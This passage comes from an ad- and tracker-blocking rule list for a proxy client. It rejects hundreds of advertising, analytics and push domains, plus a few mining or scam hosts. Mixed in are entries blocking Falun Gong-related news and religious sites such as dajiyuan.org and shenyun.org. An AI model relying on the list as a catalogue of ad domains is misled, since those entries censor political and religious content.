+host-suffix, popads.net, reject +host-suffix, publicidad.net, reject +host-suffix, pubnative.net, reject +host-suffix, responsys.net, reject +host-suffix, revsci.net, reject +host-suffix, savebt.net, reject +host-suffix, sdhzstone.net, reject +host-suffix, shenyian.net, reject +host-suffix, skatehot.net, reject +host-suffix, smaato.net, reject +host-suffix, smgru.net, reject +host-suffix, snapmobileasia.net, reject +host-suffix, sphwq.net, reject +host-suffix, star8.net, reject +host-suffix, supfast.net, reject +host-suffix, sxbhzs.net, reject +host-suffix, syilm.net, reject +host-suffix, syofew6o.net, reject +host-suffix, talkingdata.net, reject +host-suffix, thztv.net, reject +host-suffix, tmcs.net, reject +host-suffix, trafficjunky.net, reject +host-suffix, tt114.net, reject +host-suffix, tuanxue360.net, reject +host-suffix, tukj.net, reject +host-suffix, uczzd.net, reject +host-suffix, ui37.net, reject +host-suffix, uimserv.net, reject +host-suffix, ultraiso.net, reject +host-suffix, uuidksinc.net, reject +host-suffix, vdazz.net, reject +host-suffix, vns800600.net, reject +host-suffix, vwws6.net, reject +host-suffix, wifijia.net, reject +host-suffix, wine-api.net, reject +host-suffix, wqsph.net, reject +host-suffix, wxmmh.net, reject +host-suffix, xcyjzs.net, reject +host-suffix, xmindchina.net, reject +host-suffix, xpj1.net, reject +host-suffix, xpj2.net, reject +host-suffix, xpj3.net, reject +host-suffix, xpj4.net, reject +host-suffix, xrain.net, reject +host-suffix, xtxa.net, reject +host-suffix, xyimg.net, reject +host-suffix, yanglaopt.net, reject +host-suffix, yidulive.net, reject +host-suffix, youmi.net, reject +host-suffix, youxicool.net, reject +host-suffix, yuanming.net, reject +host-suffix, yule8.net, reject +host-suffix, yyjxgm.net, reject +host-suffix, zhanzhang.net, reject +host-suffix, zhiong.net, reject +host-suffix, zuiceshi.net, reject +host-suffix, zytwq.net, reject +host-suffix, cc.0133hao.net, reject +host-suffix, e.0531mnk.net, reject +host-suffix, m.0531mnk.net, reject +host-suffix, img1.126.net, reject +host-suffix, img2.126.net, reject +host-suffix, img3.126.net, reject +host-suffix, img6.126.net, reject +host-suffix, mimg.126.net, reject +host-suffix, pimg1.126.net, reject +host-suffix, push.126.net, reject +host-suffix, b.bst.126.net, reject +host-suffix, admusicpic.music.126.net, reject +host-suffix, iadmusicmat.music.126.net, reject +host-suffix, iadmusicmatvideo.music.126.net, reject +host-suffix, android.push.126.net, reject +host-suffix, news.push.126.net, reject +host-suffix, webstat.ws.126.net, reject +host-suffix, yt-adp.ws.126.net, reject +host-suffix, wanproxy.127.net, reject +host-suffix, haitaoad.nosdn.127.net, reject +host-suffix, iadmatvideo.nosdn.127.net, reject +host-suffix, yt-adp.nosdn.127.net, reject +host-suffix, cc.1515788.net, reject +host-suffix, e.1919388.net, reject +host-suffix, m.1919388.net, reject +host-suffix, wm.20150.net, reject +host-suffix, c.28487.net, reject +host-suffix, e.28487.net, reject +host-suffix, m.28487.net, reject +host-suffix, gcdn.2mdn.net, reject +host-suffix, s0.2mdn.net, reject +host-suffix, s1.2mdn.net, reject +host-suffix, app-g.39.net, reject +host-suffix, d.39.net, reject +host-suffix, dpvc.39.net, reject +host-suffix, thetestpage.39.net, reject +host-suffix, c1.4qx.net, reject +host-suffix, tc.51la.net, reject +host-suffix, b1.51scw.net, reject +host-suffix, c.51y5.net, reject +host-suffix, cds.51y5.net, reject +host-suffix, ios-dc.51y5.net, reject +host-suffix, news.51y5.net, reject +host-suffix, news-img.51y5.net, reject +host-suffix, news-log.51y5.net, reject +host-suffix, push-dc.51y5.net, reject +host-suffix, wifiapi01.51y5.net, reject +host-suffix, wifiapi02.51y5.net, reject +host-suffix, msg.push.51y5.net, reject +host-suffix, c2.58toto.net, reject +host-suffix, cp.5jjx.net, reject +host-suffix, s.5jjx.net, reject +host-suffix, cc.700ok.net, reject +host-suffix, 3g.990.net, reject +host-suffix, b.9dreams.net, reject +host-suffix, t.adcrops.net, reject +host-suffix, px.adhigh.net, reject +host-suffix, tags2.adshell.net, reject +host-suffix, freexxxvideoclip.aebn.net, reject +host-suffix, appnext-a.akamaihd.net, reject +host-suffix, lbstatic-a.akamaihd.net, reject +host-suffix, toots-a.akamaihd.net, reject +host-suffix, bmp.ali213.net, reject +host-suffix, bmp1.ali213.net, reject +host-suffix, web.ali213.net, reject +host-suffix, ajnad.aljazeera.net, reject +host-suffix, box.anchorfree.net, reject +host-suffix, rpt.anchorfree.net, reject +host-suffix, jc.anhuilitian.net, reject +host-suffix, c.anmeilai.net, reject +host-suffix, e.anmeilai.net, reject +host-suffix, m.anmeilai.net, reject +host-suffix, rcp.c.appier.net, reject +host, track.aso1.net, reject +host-suffix, my1fc.m.b5200.net, reject +host-suffix, my1fimg.m.b5200.net, reject +host-suffix, tactics.bainv.net, reject +host-suffix, update.bainv.net, reject +host-suffix, bd-js.baixing.net, reject +host-suffix, bd-s.baixing.net, reject +host-suffix, script-bd.baixing.net, reject +host-suffix, a.baiy.net, reject +host-suffix, b.baiy.net, reject +host-suffix, config.baofeng.net, reject +host-suffix, houyi.baofeng.net, reject +host-suffix, listlog.baofeng.net, reject +host-suffix, loading.baofeng5.baofeng.net, reject +host-suffix, onlinetips.baofeng5.baofeng.net, reject +host-suffix, app.houyi.baofeng.net, reject +host-suffix, ck.houyi.baofeng.net, reject +host-suffix, corner.houyi.baofeng.net, reject +host-suffix, d3f.houyi.baofeng.net, reject +host-suffix, mid.houyi.baofeng.net, reject +host-suffix, parser.houyi.baofeng.net, reject +host-suffix, wbwl.houyi.baofeng.net, reject +host-suffix, web.houyi.baofeng.net, reject +host-suffix, wl.houyi.baofeng.net, reject +host-suffix, wx.houyi.baofeng.net, reject +host-suffix, xs.houyi.baofeng.net, reject +host-suffix, nclog.mars.baofeng.net, reject +host-suffix, clicklog.moviebox.baofeng.net, reject +host-suffix, pvlog.moviebox.baofeng.net, reject +host-suffix, rec.moviebox.baofeng.net, reject +host-suffix, nclog.pad.baofeng.net, reject +host-suffix, jfm4.pop.baofeng.net, reject +host-suffix, red.bayimg.net, reject +host-suffix, a.benshiw.net, reject +host-suffix, x.bidswitch.net, reject +host-suffix, ad0.bigmir.net, reject +host-suffix, ad1.bigmir.net, reject +host-suffix, ad4.bigmir.net, reject +host-suffix, ad5.bigmir.net, reject +host-suffix, ad6.bigmir.net, reject +host-suffix, ad7.bigmir.net, reject +host-suffix, adi.bigmir.net, reject +host-suffix, c.bigmir.net, reject +host-suffix, i.bigmir.net, reject +host-suffix, f1.bizhiku.net, reject +host-suffix, ad.bjmama.net, reject +host-suffix, as.bjmama.net, reject +host-suffix, e.bokanedu.net, reject +host-suffix, m.bokanedu.net, reject +host-suffix, flurry.cachefly.net, reject +host-suffix, srv.carbonads.net, reject +host-suffix, x.castanet.net, reject +host-suffix, ba.ccm2.net, reject +host-suffix, a.cdngeek.net, reject +host-suffix, dm.chalook.net, reject +host-suffix, qw2v.changshuohr.net, reject +host-suffix, ping.chartbeat.net, reject +host-suffix, api.adv.ott.cibntv.net, reject +host-suffix, adinf.cp11.ott.cibntv.net, reject +host-suffix, adstat.cp11.ott.cibntv.net, reject +host-suffix, apklog.cp11.ott.cibntv.net, reject +host-suffix, cachenotice.cp11.ott.cibntv.net, reject +host-suffix, ark.cp21.ott.cibntv.net, reject +host-suffix, dc.cp21.ott.cibntv.net, reject +host-suffix, atm.cp31.ott.cibntv.net, reject +host-suffix, ipm.atm.cp31.ott.cibntv.net, reject +host-suffix, val.atm.cp31.ott.cibntv.net, reject +host-suffix, valf.atm.cp31.ott.cibntv.net, reject +host-suffix, aty.cp45.ott.cibntv.net, reject +host-suffix, agn.aty.cp45.ott.cibntv.net, reject +host-suffix, m.aty.cp45.ott.cibntv.net, reject +host-suffix, mmg.aty.cp45.ott.cibntv.net, reject +host-suffix, de.as.cp61.ott.cibntv.net, reject +host-suffix, lives.l.cp81.ott.cibntv.net, reject +host-suffix, news-l.play.cp81.ott.cibntv.net, reject +host-suffix, d10lumateci472.cloudfront.net, reject +host-suffix, d1grtyyel8f1mh.cloudfront.net, reject +host-suffix, d1zgderxoe1a.cloudfront.net, reject +host-suffix, d227cncaprzd7y.cloudfront.net, reject +host-suffix, d29qt51jeyi6xb.cloudfront.net, reject +host-suffix, d2qkpebv23oowx.cloudfront.net, reject +host-suffix, d31qbv1cthcecs.cloudfront.net, reject +host-suffix, d36eyd5j1kt1m6.cloudfront.net, reject +host-suffix, d3v1lb83psg9di.cloudfront.net, reject +host-suffix, d5nxst8fruw4z.cloudfront.net, reject +host-suffix, i.l.cnn.net, reject +host-suffix, adi.cnool.net, reject +host-suffix, adi2007.cnool.net, reject +host-suffix, adp.cnool.net, reject +host-suffix, adp1.cnool.net, reject +host-suffix, ida.cnool.net, reject +host-suffix, t.cnsjx.net, reject +host-suffix, push.com2us.net, reject +host-suffix, s.com2us.net, reject +host-suffix, widgets.comcontent.net, reject +host-suffix, pxl.connexity.net, reject +host-suffix, adimg.cqnews.net, reject +host-suffix, phpad.cqnews.net, reject +host-suffix, sync.crwdcntrl.net, reject +host-suffix, ad.csdn.net, reject +host-suffix, counter.csdn.net, reject +host-suffix, dc.csdn.net, reject +host-suffix, dc2.csdn.net, reject +host-suffix, medal.blog.csdn.net, reject +host-suffix, ci.csefaazc.net, reject +host-suffix, uniondm.cz88.net, reject +host-suffix, ad.daum.net, reject +host-suffix, display.ad.daum.net, reject +host-suffix, track.tiara.daum.net, reject +host-suffix, live.tvpot.daum.net, reject +host-suffix, adimg.daumcdn.net, reject +host-suffix, m1.daumcdn.net, reject +host-suffix, s.de123.net, reject +host-suffix, dpm.demdex.net, reject +host-suffix, adimg.deviantart.net, reject +host-suffix, api.dewmobile.net, reject +host-suffix, downloada.dewmobile.net, reject +host-suffix, downloadb.dewmobile.net, reject +host-suffix, daima.diaoben.net, reject +host-suffix, adss.dotdo.net, reject +host-suffix, adclick.g.doublecklick.net, reject +host-suffix, eland.doublemax.net, reject +host-suffix, s.dpcq1.net, reject +host-suffix, add.dz19.net, reject +host-suffix, p.ecwan77.net, reject +host-suffix, m.ee-vip.net, reject +host-suffix, c.effectivemeasure.net, reject +host-suffix, hk-cdn.effectivemeasure.net, reject +host-suffix, me-cdn.effectivemeasure.net, reject +host-suffix, s.effectivemeasure.net, reject +host-suffix, sg-cdn.effectivemeasure.net, reject +host-suffix, www9.effectivemeasure.net, reject +host-suffix, qiye11.ejunshi.net, reject +host-suffix, x.eroticity.net, reject +host-suffix, bigboy.eurogamer.net, reject +host-suffix, sync-tm.everesttech.net, reject +host-suffix, squarespace.evyy.net, reject +host-suffix, cdn.fastclick.net, reject +host-suffix, code.fastclick.net, reject +host-suffix, images.fastclick.net, reject +host-suffix, media.fastclick.net, reject +host-suffix, secure.fastclick.net, reject +host-suffix, sp.fastclick.net, reject +host-suffix, sync.fastclick.net, reject +host-suffix, adv.fjtv.net, reject +host-suffix, image.fsyule.net, reject +host-suffix, creatives1.ftimg.net, reject +host-suffix, dolphin.ftimg.net, reject +host-suffix, dolphin4.ftimg.net, reject +host-suffix, rt.funshion.net, reject +host-suffix, ox.furaffinity.net, reject +host-suffix, gmota.g188.net, reject +host-suffix, m.gameyun907.net, reject +host-suffix, clk.gentags.net, reject +host-suffix, cmpp.gentags.net, reject +host-suffix, imp.gentags.net, reject +host-suffix, pagechoicemotu.gentags.net, reject +host-suffix, pmptrack-autohome.gentags.net, reject +host-suffix, pmptrack-letv.gentags.net, reject +host-suffix, pmptrack-yidianzixunxm.gentags.net, reject +host-suffix, pmptrack-youku.gentags.net, reject +host-suffix, sit.gentags.net, reject +host-suffix, v-sence.gentags.net, reject +host-suffix, ad.greedland.net, reject +host-suffix, ad1.greedland.net, reject +host-suffix, xzq.greenxf.net, reject +host-suffix, 01.gxso.net, reject +host-suffix, bdd.hainan.net, reject +host-suffix, bds.hainan.net, reject +host-suffix, i.hao61.net, reject +host-suffix, e.harbinbaojia.net, reject +host-suffix, m.harbinbaojia.net, reject +host-suffix, stream.heavenmedia.net, reject +host-suffix, p8u.hinet.net, reject +host-suffix, vatrack.hinet.net, reject +host-suffix, adasad.myweb.hinet.net, reject +host-suffix, blogad01.myweb.hinet.net, reject +host-suffix, blogad02.myweb.hinet.net, reject +host-suffix, hiad.myweb.hinet.net, reject +host-suffix, e.hk7799.net, reject +host-suffix, m.hk7799.net, reject +host-suffix, i.huilixieye.net, reject +host-suffix, mob.huimee.net, reject +host-suffix, daima.huoche.net, reject +host-suffix, col.hztags.net, reject +host-suffix, ad.idgtn.net, reject +host-suffix, dl.img80.net, reject +host-suffix, cdn.innity.net, reject +host-suffix, cdn.media.innity.net, reject +host-suffix, ssl-cdn.media.innity.net, reject +host-suffix, a.itiexue.net, reject +host-suffix, jph.itiexue.net, reject +host-suffix, 888.izhufu.net, reject +host-suffix, ad.jamba.net, reject +host-suffix, plz.jandan.net, reject +host-suffix, bdjs.jb51.net, reject +host-suffix, dm.jb51.net, reject +host-suffix, 1.jeasyui.net, reject +host-suffix, dm50.jkyd.net, reject +host-suffix, cp.jz5u.net, reject +host-suffix, panda.kdnet.net, reject +host-suffix, super.kdnet.net, reject +host-suffix, as.kejet.net, reject +host-suffix, aw.kejet.net, reject +host-suffix, ck.kejet.net, reject +host-suffix, cmarket.kejet.net, reject +host-suffix, dmacore.kejet.net, reject +host-suffix, dmp.kejet.net, reject +host-suffix, ec.kejet.net, reject +host-suffix, hzdmacore.kejet.net, reject +host-suffix, m.kejet.net, reject +host-suffix, rtb-p.kejet.net, reject +host-suffix, kas.keydot.net, reject +host-suffix, s5.keydot.net, reject +host-suffix, ww202.keyyou.net, reject +host-suffix, ba.kioskea.net, reject +host-suffix, sd.kk3g.net, reject +host-suffix, c.kl6636.net, reject +host-suffix, e.kl6636.net, reject +host-suffix, m.kl6636.net, reject +host-suffix, beacon.krxd.net, reject +host-suffix, cdn.krxd.net, reject +host-suffix, ups.ksmobile.net, reject +host-suffix, ws.ksmobile.net, reject +host-suffix, vi1.ku6img.net, reject +host-suffix, vi2.ku6img.net, reject +host-suffix, rotabanner.kulichki.net, reject +host-suffix, m.laigame7.net, reject +host-suffix, down.laomaotao.net, reject +host-suffix, ad.leadbolt.net, reject +host-suffix, api.leadbolt.net, reject +host-suffix, ad.leadboltads.net, reject +host-suffix, ad.leadboltapps.net, reject +host-suffix, ad.leadboltmobile.net, reject +host-suffix, appnext.hs.llnwd.net, reject +host-suffix, admeta.vo.llnwd.net, reject +host-suffix, inskin.vo.llnwd.net, reject +host-suffix, backup.lumion3d.net, reject +host-suffix, license.lumion3d.net, reject +host-suffix, ad.mangareader.net, reject +host-suffix, dd.mangofortune.net, reject +host-suffix, zhuuv.maoyumao.net, reject +host-suffix, munchkin.marketo.net, reject +host-suffix, ad.mediabong.net, reject +host-suffix, jingdian230.meilika.net, reject +host-suffix, img.meipic.net, reject +host-suffix, ma1.meishij.net, reject +host-suffix, ma2.meishij.net, reject +host-suffix, c.mightiger.net, reject +host-suffix, e.mightiger.net, reject +host-suffix, m.mightiger.net, reject +host-suffix, d.mingyihui.net, reject +host-suffix, jskrnekewe.mofans.net, reject +host-suffix, ads1.msads.net, reject +host-suffix, ads2.msads.net, reject +host-suffix, global.msads.net, reject +host-suffix, a.global.msads.net, reject +host-suffix, js.mumayi.net, reject +host-suffix, rbp.mxptint.net, reject +host-suffix, rbp.emea.mxptint.net, reject +host-suffix, r.myadx.net, reject +host-suffix, adres.myaora.net, reject +host-suffix, ytapi1.nagezan.net, reject +host-suffix, 1.nanrenwo.net, reject +host-suffix, 2.nanrenwo.net, reject +host-suffix, adimg3.search.naver.net, reject +host-suffix, pic.neiyicun.net, reject +host-suffix, ad1.nend.net, reject +host-suffix, ad2.nend.net, reject +host-suffix, img1.nend.net, reject +host-suffix, js1.nend.net, reject +host-suffix, output.nend.net, reject +host-suffix, ad1.netshelter.net, reject +host-suffix, util.nphoto.net, reject +host-suffix, bam.nr-data.net, reject +host-suffix, asv.nuggad.net, reject +host-suffix, ag.nukefans.net, reject +host-suffix, ig.nukefans.net, reject +host-suffix, zzcw.office-mall.net, reject +host-suffix, g.ousns.net, reject +host-suffix, g2.ousns.net, reject +host-suffix, events-api.outfit7.net, reject +host-suffix, px.owneriq.net, reject +host-suffix, ad1.p5w.net, reject +host-suffix, col.pagechoice.net, reject +host-suffix, dap.pagechoice.net, reject +host-suffix, images.pagechoice.net, reject +host-suffix, motu.pagechoice.net, reject +host-suffix, sit.pagechoice.net, reject +host-suffix, 1.panduoduo.net, reject +host-suffix, js.paochala.net, reject +host-suffix, btn.pchome.net, reject +host-suffix, js-1.pchome.net, reject +host-suffix, pf.pchome.net, reject +host-suffix, pf-2.pchome.net, reject +host-suffix, init.phpwind.net, reject +host-suffix, ad.pickple.net, reject +host-suffix, rum-collector.pingdom.net, reject +host-suffix, rum-static.pingdom.net, reject +host-suffix, ad.pixnet.net, reject +host-suffix, c1.popads.net, reject +host-suffix, c2.popads.net, reject +host-suffix, serve.popads.net, reject +host-suffix, cdn.popcash.net, reject +host-suffix, api.primecaster.net, reject +host-suffix, c.ptffw.net, reject +host-suffix, e.qingzhencai.net, reject +host-suffix, m.qingzhencai.net, reject +host-suffix, zeus.qj.net, reject +host-suffix, rad.reporo.net, reject +host-suffix, js.revsci.net, reject +host-suffix, pd7-imp.revsci.net, reject +host-suffix, pix04.revsci.net, reject +host-suffix, wpc.32df9.rhocdn.net, reject +host-suffix, api.rideraid.net, reject +host-suffix, v.rmbn.net, reject +host-suffix, match.rtbidder.net, reject +host-suffix, tw13b093.sandai.net, reject +host-suffix, xlmc.sandai.net, reject +host-suffix, cpm.cm.sandai.net, reject +host-suffix, master.wap.dphub.sandai.net, reject +host-suffix, idx.m.hub.sandai.net, reject +host-suffix, liveupdate.mac.sandai.net, reject +host-suffix, hub5pn.wap.sandai.net, reject +host-suffix, etl.xlmc.sandai.net, reject +host-suffix, test.api.xlmc.sandai.net, reject +host-suffix, pre.api.tw06.xlmc.sandai.net, reject +host-suffix, dm.sanwen.net, reject +host-suffix, js.sanwen.net, reject +host-suffix, 518.sdinfo.net, reject +host-suffix, b17.shangc.net, reject +host-suffix, j17.shangc.net, reject +host-suffix, aec.shjk123.net, reject +host-suffix, a.shuoshuodaquan.net, reject +host-suffix, s3.pfp.sina.net, reject +host-suffix, as.sinahk.net, reject +host-suffix, ad.sinovision.net, reject +host-suffix, adsys.sinovision.net, reject +host-suffix, award.sitekeuring.net, reject +host-suffix, oas.skyscanner.net, reject +host-suffix, ad.smartclip.net, reject +host-suffix, selfie.snapmobileasia.net, reject +host-suffix, pclog.suishenyun.net, reject +host-suffix, display.superbay.net, reject +host-suffix, apk.supfast.net, reject +host-suffix, apps.supfast.net, reject +host-suffix, img.supfast.net, reject +host-suffix, l.supfast.net, reject +host-suffix, 09_19.supfree.net, reject +host-suffix, p.szonline.net, reject +host-suffix, ad7.tagphi.net, reject +host-suffix, gaandroid.talkingdata.net, reject +host-suffix, tdcv3.talkingdata.net, reject +host-suffix, u.talkingdata.net, reject +host-suffix, st.targetix.net, reject +host-suffix, sync.teamrtb.net, reject +host-suffix, e.tiantianedu.net, reject +host-suffix, m.tiantianedu.net, reject +host-suffix, m.tiaopimiao.net, reject +host-suffix, rotator.tradetracker.net, reject +host-suffix, ti.tradetracker.net, reject +host-suffix, media.trafficjunky.net, reject +host-suffix, vz-cdn.trafficjunky.net, reject +host-suffix, a.ucoz.net, reject +host-suffix, adclient.uimserv.net, reject +host-suffix, adimg.uimserv.net, reject +host-suffix, fips.uimserv.net, reject +host-suffix, s.uuidksinc.net, reject +host-suffix, t.uvcourse.net, reject +host-suffix, t2.vbxx.net, reject +host-suffix, rtas.videocc.net, reject +host-suffix, c.vip97.net, reject +host-suffix, syndication1.viraladnetwork.net, reject +host, delivery-node-aziz.voe-network.net, reject +host-suffix, cti.w55c.net, reject +host-suffix, i.w55c.net, reject +host-suffix, ads.weilitoutiao.net, reject +host-suffix, e.weixingshexiangji.net, reject +host-suffix, m.weixingshexiangji.net, reject +host-suffix, ad.r.worldssl.net, reject +host-suffix, union1.xiaojianjian.net, reject +host-suffix, lxcdn.dl.files.xiaomi.net, reject +host-suffix, pdc.micloud.xiaomi.net, reject +host-suffix, migrate.driveapi.micloud.xiaomi.net, reject +host-suffix, resolver.msg.xiaomi.net, reject +host-suffix, mlog.search.xiaomi.net, reject +host-suffix, down.xiazaiyuan.net, reject +host-suffix, adimgs.xici.net, reject +host-suffix, a.xinwenge.net, reject +host-suffix, e.xlsschina15.net, reject +host-suffix, m.xlsschina15.net, reject +host-suffix, nop.xpanama.net, reject +host-suffix, w.homes.yahoo.net, reject +host-suffix, st.yandexadexchange.net, reject +host-suffix, e.yangjingbang.net, reject +host-suffix, m.yangjingbang.net, reject +host-suffix, ir.mail.yeah.net, reject +host-suffix, e.yidulive.net, reject +host-suffix, ad.yieldlab.net, reject +host-suffix, yoo.yiiyoo.net, reject +host-suffix, siqwqjza.m.yikanxiaoshuo.net, reject +host-suffix, p.ynjczy.net, reject +host-suffix, au.youmi.net, reject +host-suffix, notifiter.youmi.net, reject +host-suffix, r.youmi.net, reject +host-suffix, s.youmi.net, reject +host-suffix, t.youmi.net, reject +host-suffix, aos.wall.youmi.net, reject +host-suffix, jt.yunxiufang.net, reject +host-suffix, cdn.zampda.net, reject +host-suffix, adm.zbinfo.net, reject +host-suffix, xiaoshuo.zhandao.net, reject +host-suffix, a1.zhanzhang.net, reject +host-suffix, cloud.zyiis.net, reject +host-suffix, audience.network, reject +host-suffix, data.apn.co.nz, reject +host-suffix, geoshopping.nzherald.co.nz, reject +host-suffix, adlink.shopsafe.co.nz, reject +host-suffix, clotfun.online, reject +host-suffix, customer-security.online, reject +host-suffix, deletemer.online, reject +host-suffix, qweewq2021.online, reject +host-suffix, wazero.online, reject +host-suffix, 50bang.org, reject +host-suffix, 5dian.org, reject +host-suffix, adsensor.org, reject +host-suffix, adsrvr.org, reject +host-suffix, ajaxcdn.org, reject +host-suffix, amiok.org, reject +host-suffix, anquan.org, reject +host-suffix, boxercrazy.org, reject +host-suffix, dafahao.org, reject +host-suffix, dajiyuan.org, reject +host-suffix, do-not-tracker.org, reject +host-suffix, falundata.org, reject +host-suffix, gdsqwy.org, reject +host-suffix, go2cloud.org, reject +host-suffix, ketchapp.org, reject +host-suffix, lajizhan.org, reject +host-suffix, ppoi.org, reject +host-suffix, punchbox.org, reject +host-suffix, rutrk.org, reject +host-suffix, shenyun.org, reject +host-suffix, trackersimulator.org, reject +host-suffix, vtale.org, reject +host-suffix, a.80982.org, reject +host-suffix, oascentral.hosted.ap.org, reject +host-suffix, advertise.baicizhan.org, reject +host-keyword, tosv.byted.org, reject +host-keyword, tosv.boe.byted.org, reject +host-suffix, desk.cmix.org, reject +host-suffix, img.dawenxue.org, reject +host-suffix, lm.dawenxue.org, reject +host-suffix, pp2.dhzw.org, reject +host-suffix, qd.dhzw.org, reject +host-suffix, m.du1du.org, reject +host-suffix, tw.fgmtv.org, reject +host-suffix, m.fhxsw.org, reject +host-suffix, bai3.gushiwen.org, reject +host-suffix, looky.hyves.org, reject +host-suffix, life.imagepix.org, reject +host-suffix, img1.jintang114.org, reject +host-suffix, jrpt.jrptweb.org, reject +host-suffix, eee.kj78.org, reject +host-suffix, admin.louxia.org, reject +host-suffix, ads2.opensubtitles.org, reject +host-suffix, gg86.pinggu.org, reject +host-suffix, api.ppoi.org, reject +host-suffix, img1.pszyzxh.org, reject +host-suffix, atm.punchbox.org, reject +host-suffix, pic.punchbox.org, reject +host-suffix, uapi.punchbox.org, reject +host-suffix, w.punchbox.org, reject +host-suffix, switching.atm.punchbox.org, reject +host-suffix, en.shenyun.org, reject +host-suffix, zh-cn.shenyun.org, reject +host-suffix, a.m.shuhuangge.org, reject +host-suffix, baxf.m.shuhuangge.org, reject +host-suffix, ow.s1.shuhuangge.org, reject +host-suffix, ow.s2.shuhuangge.org, reject +host-suffix, api.userstyles.org, reject +host-suffix, dm.ws8.org, reject +host-suffix, c.xianguonongchang.org, reject +host-suffix, c.xznykf.org, reject +host-suffix, sina.yinstar.org, reject +host-suffix, bizanti.youwatch.org, reject +host-suffix, hejban.youwatch.org, reject +host-suffix, nest.youwatch.org, reject +host-suffix, c.zmjuan.org, reject +host-suffix, c.zxyywdj.org, reject +host-suffix, adx.kat.ph, reject +host-suffix, xn--2qux23c9ziyrq.plus, reject +host-suffix, cilidaquan.pw, reject +host-suffix, aswl.d3kdh34.pw, reject +host-suffix, aswl.dfs3e4.pw, reject +host-suffix, adsco.re, reject +host-suffix, weixinvip.ren, reject +host-suffix, shzyjbr.wtdtjs.rocks, reject +host-suffix, adriver.ru, reject +host-suffix, advombat.ru, reject +host-suffix, betsonsport.ru, reject +host-suffix, dumedia.ru, reject +host-suffix, recreativ.ru, reject +host-suffix, sape.ru, reject +host-suffix, tns-counter.ru, reject +host-suffix, winlinebet.ru, reject +host-suffix, yadro.ru, reject +host-suffix, yandex.ru, reject +host-suffix, ad.3dnews.ru, reject +host-suffix, rtb.com.ru, reject +host-suffix, dmg.digitaltarget.ru, reject +host-suffix, tag.digitaltarget.ru, reject +host-suffix, ad.dumedia.ru, reject +host-suffix, runetki.joyreactor.ru, reject +host-suffix, ad.mail.ru, reject +host-suffix, sync.morgdm.ru, reject +host-suffix, r.radikal.ru, reject +host-suffix, ad.rambler.ru, reject +host-suffix, sync.rambler.ru, reject +host-suffix, profile.ssp.rambler.ru, reject +host-suffix, adlabs-sync.rutarget.ru, reject +host-suffix, adriver-sync.rutarget.ru, reject +host-suffix, cdn-rtb.sape.ru, reject +host-suffix, dispenser-rtb.sape.ru, reject +host-suffix, ssp-rtb.sape.ru, reject +host-suffix, pixel.vihub.ru, reject +host-suffix, ad.xmovies8.ru, reject +host-suffix, counter.yadro.ru, reject +host-suffix, mg.yadro.ru, reject +host-suffix, an.yandex.ru, reject +host-suffix, mc.yandex.ru, reject +host-suffix, mc.yandex.ru, reject +host-suffix, spb.bid.run, reject +host-suffix, adrotator.se, reject +host-suffix, ingest.sentry, reject +host-suffix, coin-hive-proxy-ybydcnjgkl.now.sh, reject +host-suffix, party-nngvitbizn.now.sh, reject +host-suffix, ad.proxy.sh, reject +host-suffix, z.clickvip.shop, reject +host-suffix, e.zhuyuanp.shop, reject +host-suffix, m.zhuyuanp.shop, reject +host-suffix, beeho.site, reject +host-suffix, qqq123987.site, reject +host-suffix, qqq123987.site, reject +host-suffix, ker.pic2pic.site, reject +host-suffix, adv.bandi.so, reject +host-suffix, asd.projectfreetv.so, reject +host-suffix, ad.spielothek.so, reject +host-suffix, kawa11.space, reject +host-suffix, 777.000123456789.space, reject +host-suffix, inoprosport.su, reject +host-suffix, adtarget.tech, reject +host-suffix, we.tm, reject +host-suffix, a.kickass.to, reject +host-suffix, content.streamplay.to, reject +host-suffix, dacash.streamplay.to, reject +host-suffix, eacash.streamplay.to, reject +host-suffix, x.vipergirls.to, reject +host-suffix, app.abc000.today, reject +host-suffix, 138138138.top, reject +host-suffix, 813690.top, reject +host-suffix, akuai.top, reject +host-suffix, b99u.top, reject +host-suffix, bigbos.top, reject +host-suffix, d24ak3f2b.top, reject +host-suffix, dandan11.top, reject +host-suffix, dandan13.top, reject +host-suffix, dandan15.top, reject +host-suffix, gz00005.top, reject +host-suffix, heib10.top, reject +host-suffix, heib12.top, reject +host-suffix, jkjjkj.top, reject +host-suffix, nkeo.top, reject +host-suffix, powergg.top, reject +host-suffix, regulationprivilegescan.top, reject +host-suffix, sangxi.top, reject +host-suffix, ioc.mmakd.top, reject +host-suffix, j.qijijs.top, reject +host-suffix, p.qijijs.top, reject +host-suffix, p.saozhu1.top, reject +host-suffix, iutr.uozwys.top, reject +host-suffix, e.zhuyuanp.top, reject +host-suffix, m.zhuyuanp.top, reject +host-suffix, x.zhuyuanp.top, reject +host-suffix, add.bugun.com.tr, reject +host-suffix, adap.tv, reject +host-suffix, lansha.tv, reject +host-suffix, publicidad.tv, reject +host-suffix, yoyi.tv, reject +host-suffix, agn.aty.snmsohu.aisee.tv, reject +host-suffix, m.aty.snmsohu.aisee.tv, reject +host-suffix, mmg.aty.snmsohu.aisee.tv, reject +host-suffix, ja.chushou.tv, reject +host-suffix, sync.extend.tv, reject +host-suffix, pb.bi.gitv.tv, reject +host-suffix, msg.ptqy.gitv.tv, reject +host-suffix, msga.ptqy.gitv.tv, reject +host-suffix, store.ptqy.gitv.tv, reject +host-suffix, mixer.cupid.ptqy.gitv.tv, reject +host-suffix, t7z.cupid.ptqy.gitv.tv, reject +host-suffix, nl.rcd.ptqy.gitv.tv, reject +host-suffix, daima.ijq.tv, reject +host-suffix, renren2.maoyun.tv, reject +host-suffix, c.netu.tv, reject +host-suffix, ad.pandora.tv, reject +host-suffix, game.pps.tv, reject +host-suffix, fan.twitch.tv, reject +host-suffix, spade.twitch.tv, reject +host-suffix, adsystem.wasu.tv, reject +host-suffix, adwasu.wasu.tv, reject +host-suffix, d.yoyi.tv, reject +host-suffix, js.yoyi.tv, reject +host-suffix, g.d.yoyi.tv, reject +host-suffix, t.d.yoyi.tv, reject +host-suffix, js1.zuocai.tv, reject +host-suffix, adbot.tw, reject +host-suffix, plmkolp.m.58xs.tw, reject +host-suffix, dotmore.com.tw, reject +host-suffix, hotrank.com.tw, reject +host-suffix, pic.adver.com.tw, reject +host-suffix, ad.digitimes.com.tw, reject +host-suffix, flv.dotmore.com.tw, reject +host-suffix, pic.dotmore.com.tw, reject +host-suffix, ad.gametower.com.tw, reject +host-suffix, drd.hauchi.com.tw, reject +host-suffix, ysm.hauchi.com.tw, reject +host-suffix, h01.hotrank.com.tw, reject +host-suffix, ad.pchome.com.tw, reject +host-suffix, adcl.pchome.com.tw, reject +host-suffix, itad.linetv.tw, reject +host-suffix, ad.obuy.tw, reject 